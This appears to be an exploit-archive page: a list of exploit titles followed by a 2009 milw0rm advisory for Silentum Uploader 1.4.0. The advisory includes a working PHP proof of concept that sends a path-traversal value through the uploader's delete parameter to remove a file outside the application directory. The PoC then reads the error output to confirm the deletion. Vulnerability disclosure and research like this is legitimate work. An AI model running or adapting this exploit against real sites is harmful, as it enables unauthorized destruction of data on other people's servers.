477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
49 lines
1.6 KiB
PHP
Executable file
49 lines
1.6 KiB
PHP
Executable file
Vendor: http://hypersilence.net
|
|
Version(s): Silentum Uploader 1.4.0 (May also affect earlier versions)
|
|
Credit: Danny Moules
|
|
Critical: Yes
|
|
|
|
See PUSH 55 Advisory at http://www.push55.co.uk/advisories.php?id=2
|
|
|
|
----
|
|
|
|
Due to insufficient validation of client-side data, we can alter the path of files to be deleted to a file outside the intended directory.
|
|
|
|
The following PoC will delete a file named 'secret.txt' one level above the application folder.
|
|
|
|
You must have already uploaded a file or you can visit APPLICATIONFOLDER/upload_log.txt (on a default installation) to ascertain the name of existing files.
|
|
|
|
---
|
|
|
|
<?php
|
|
|
|
$strExistingFile = "files/secret.txt"; //Must exist, resides in /files by default
|
|
$strToDelete = "\..\..\..\secret.txt"; //Designates 'secret.txt', sat one level above the application folder, for deletion
|
|
$strUploadScript = "http://www.example.com/uploader/upload.php";
|
|
|
|
$objCurl = curl_init();
|
|
curl_setopt($objCurl, CURLOPT_URL, $strUploadScript."?delete=".$strExistingFile.$strToDelete);
|
|
curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);
|
|
$strDump = curl_exec($objCurl);
|
|
curl_close($objCurl);
|
|
|
|
if(strpos($strDump, "No such file or directory") !== false)
|
|
{
|
|
echo("$strToDelete didn't exist. \n");
|
|
}
|
|
else if(strpos($strDump, "Permission denied") !== false)
|
|
{
|
|
echo("Permission was denied when deleting $strToDelete. \n");
|
|
}
|
|
else if(strpos($strDump, "function.unlink") !== false)
|
|
{
|
|
echo("An unexpected error occured when deleting $strToDelete. \n");
|
|
}
|
|
else
|
|
{
|
|
echo("Looks as though deletion of $strToDelete was successful.\n");
|
|
}
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2009-01-11]
|